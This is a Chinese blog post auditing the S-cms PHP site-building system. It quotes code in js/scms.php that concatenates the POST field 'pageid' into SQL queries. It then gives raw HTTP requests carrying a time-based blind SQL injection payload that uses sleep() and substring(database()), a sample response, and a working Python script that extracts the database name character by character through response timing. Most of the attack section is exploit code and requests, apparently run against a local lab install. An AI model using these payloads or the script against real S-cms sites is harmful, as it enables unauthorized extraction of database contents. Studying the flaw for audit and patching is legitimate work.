美文网首页渗透测试
S-cms 审计-盲注

S-cms 审计-盲注

作者: 违规昵称不予展示 | 来源:发表于2019-07-17 11:43 被阅读0次

    早上看到Y4er大佬发的文章啦,赶紧也去下载一个S-cms企业建站系统,来审计一下
    文章地址https://y4er.com/post/scms-blind-injection/
    至于如何在自己电脑上下载安装,应该不用多说了,不会的请留言
    D:\app_english\PHPstudy\PHPTutorial\WWW\Scms\Scms\js\scms.php:173行

    case "jssdk":
        $APPID = $C_wx_appid;
        $APPSECRET = $C_wx_appsecret;
        $info = getbody("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=" . $APPID . "&secret=" . $APPSECRET, "");
        $access_token = json_decode($info)->access_token;
        $info = getbody("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=" . $access_token . "&type=jsapi", "");
        $ticket = json_decode($info)->ticket;
        $url = $_POST["url"];
        $noncestr = gen_key(20);
        $timestamp = time();
        $pageid = $_POST["pageid"];
        if ($pageid == "") {
            $pageid = 1;
        }
        switch ($_POST["pagetype"]) {
            case "index":
                $img = $C_ico;
                break;
            case "text":
                $img = getrs("select * from " . TABLE . "text where T_id=" . $pageid, "T_pic");
                break;
            case "product":
                $img = getrs("select * from " . TABLE . "psort where S_id=" . $pageid, "S_pic");
                break;
            case "productinfo":
                $img = splitx(getrs("select * from " . TABLE . "product where P_id=" . $pageid, "P_path"), "__", 0);
                break;
            case "news":
                $img = getrs("select * from " . TABLE . "nsort where S_id=" . $pageid, "S_pic");
                break;
            case "newsinfo":
                $img = getrs("select * from " . TABLE . "news where N_id=" . $pageid, "N_pic");
                break;
            case "form":
                $img = getrs("select * from " . TABLE . "form where F_id=" . $pageid, "F_pic");
                break;
            case "contact":
                $img = $C_ico;
                break;
            case "guestbook":
                $img = $C_ico;
                break;
        }
    
        $sign = sha1("jsapi_ticket=" . $ticket . "&noncestr=" . $noncestr . "&timestamp=" . $timestamp . "&url=" . $url);
    
        echo "{\"nonceStr\":\"" . $noncestr . "\",\"timestamp\":\"" . $timestamp . "\",\"signature\":\"" . $sign . "\",\"appid\":\"" . $APPID . "\",\"img\":\"http://" . $_SERVER["HTTP_HOST"] . $C_dir . $img . "\",\"ticket\":\"" . $ticket . "\"}";
    
    
        break;
    

    可以看到 $pageid = $_POST["pageid"];直接从POST中赋值,并且直接拼接到sql语句中。
    过滤了一些东西,在这我给出一个payload
    首先先判断pageid是否存在

    """
    POST /scms/scms/js/scms.php?action=jssdk HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 89
    Connection: keep-alive
    Referer: http://localhost/scms/scms/?lang=cn
    Cookie: zhwy_2132_saltkey=R25LZRwl; zhwy_2132_lastvisit=1562912233; zhwy_2132_ulastactivity=08a5nAYBrN7YsSyCxXUi9cSLZoRE%2FUO4yY%2B3xv8fhwx4i2Wh6ksK; zhwy_2132_nofavfid=1; zU2p_2132_saltkey=XQM4NcQP; zU2p_2132_lastvisit=1562914333; PHPSESSID=56r9sfiajqlueuh6lj2vuo2o21; __tins__18885840=%7B%22sid%22%3A%201563332062803%2C%20%22vd%22%3A%2014%2C%20%22expires%22%3A%201563335043801%7D; __51cke__=; __51laig__=14
    Upgrade-Insecure-Requests: 1
    
    pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)
    
    

    如果存在返回包应该是包含了img字段并且有具体的图片地址,例如(我这存在也不返回啊,难受)

    """
    HTTP/1.1 200 OK
    Date: Wed, 17 Jul 2019 03:23:51 GMT
    Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
    X-Powered-By: PHP/5.6.27
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html;charset=utf-8
    Content-Length: 319
    
    {"nonceStr":"chhnvlEPIcivTdHNvRAh","timestamp":"1563333832","signature":"769a3e36bade928818b430b94c98a8b6d4b9f272","appid":"wxXXXXXXXXXX","img":"http://localhost/scms/scms/","ticket":""}
    
    

    如果你的pageid是不存在的话,你的sleep时间将会是5的倍数

    可以参考admintony师傅的文章MySQL的逻辑运算符(and_or_xor)的工作机制研究

    给出payload

    POST /js/scms.php?action=jssdk HTTP/1.1
    Host: php.local
    Content-Length: 89
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
    Origin: http://php.local
    Content-Type: application/x-www-form-urlencoded
    DNT: 1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Referer: http://php.local/js/scms.php?action=jssdk
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
    Connection: close
    
    pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)
    
    

    值得一提的是scms过滤了一系列关键字比如select ,update,',/,*,\,那么具体的payload就靠大家发挥了
    以上大部分都是大佬的观点和状况了,HTTP请求和返回是我自己的

    但是我下载的代码不是到是咋回事,好像了点问题

    我刚打开的时候是没有我红色箭头表示的空白部分的,导致这一部分的代码根本没啥用啊,找到原因后如图我自己给他加上了一点缩进,这才没事的

    试着写写盲注的代码

    气死我了,那个%26%26写到程序里就TMD跟出鬼了一样,
    调试了好多次,运行第一次完美,睡上个5秒,但是运行第二次立马就返回结果了,我TMD一样的代码啊,不可以这样气我好不好,到数据库直接运行也没错啊,那效果跟加了缓存似的,难受,赶紧改成&&才没问题的
    先放上查数据库名的代码,cookie用不用都一样,可以自己用自己的,我代码里没用到cookie(哈哈调试错误的时候快疯了)哎,在burp里是%26%26才行,在python3代码里是&&才行啊啊啊啊啊,好可怕啊

    import requests
    import time
    url = 'http://localhost/scms/scms/js/scms.php?action=jssdk'
    char_set = r'~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
    post_data = {'pagetype':'productinfo','pageid': '78'}
    session = requests.session()
    cookie = {
        'zhwy_2132_saltkey': 'R25LZRwl',
        'zhwy_2132_lastvisit':'1562912233',
        'zhwy_2132_ulastactivity':r'08a5nAYBrN7YsSyCxXUi9cSLZoRE%2FUO4yY%2B3xv8fhwx4i2Wh6ksK',
        'zhwy_2132_nofavfid':'1',
        'zU2p_2132_saltkey':'XQM4NcQP',
        'zU2p_2132_lastvisit':'1562914333',
        'PHPSESSID':'56r9sfiajqlueuh6lj2vuo2o21',
        '__tins__18885840':r'%7B%22sid%22%3A%201563332062803%2C%20%22vd%22%3A%2014%2C%20%22expires%22%3A%201563335043801%7D',
        '__51cke__':'',
        '__51laig__':'14'
    }
    
    def work_find_db():
        current_db = ''
        try:
            pass
            for x in range(10):
                for y in char_set:
                    print(y, end='', flush=True)
                    pageid = r'78 && '+'if(ascii(substring(database(),%s,1))=%s,sleep(7),1)' % ((x+1), ord(y))
                    post_data.update({'pageid': pageid})
                    # print(pageid)
                    try:
                        # start = time.time()
                        res = session.post(url, data=post_data, timeout=6)
                        if res.text is not None:
                            print('  ', end='', flush=True)
                    except requests.exceptions.ReadTimeout:
                        current_db += y
                        print('\nNice->',current_db)
                        break
                print()
        except KeyboardInterrupt:
            print('手动退出')
            
    work_find_db()
    

    select被过滤了,剩下的完全不会了啊

    相关文章

      网友评论

        本文标题:S-cms 审计-盲注

        本文链接:https://www.haomeiwen.com/subject/jtcqlctx.html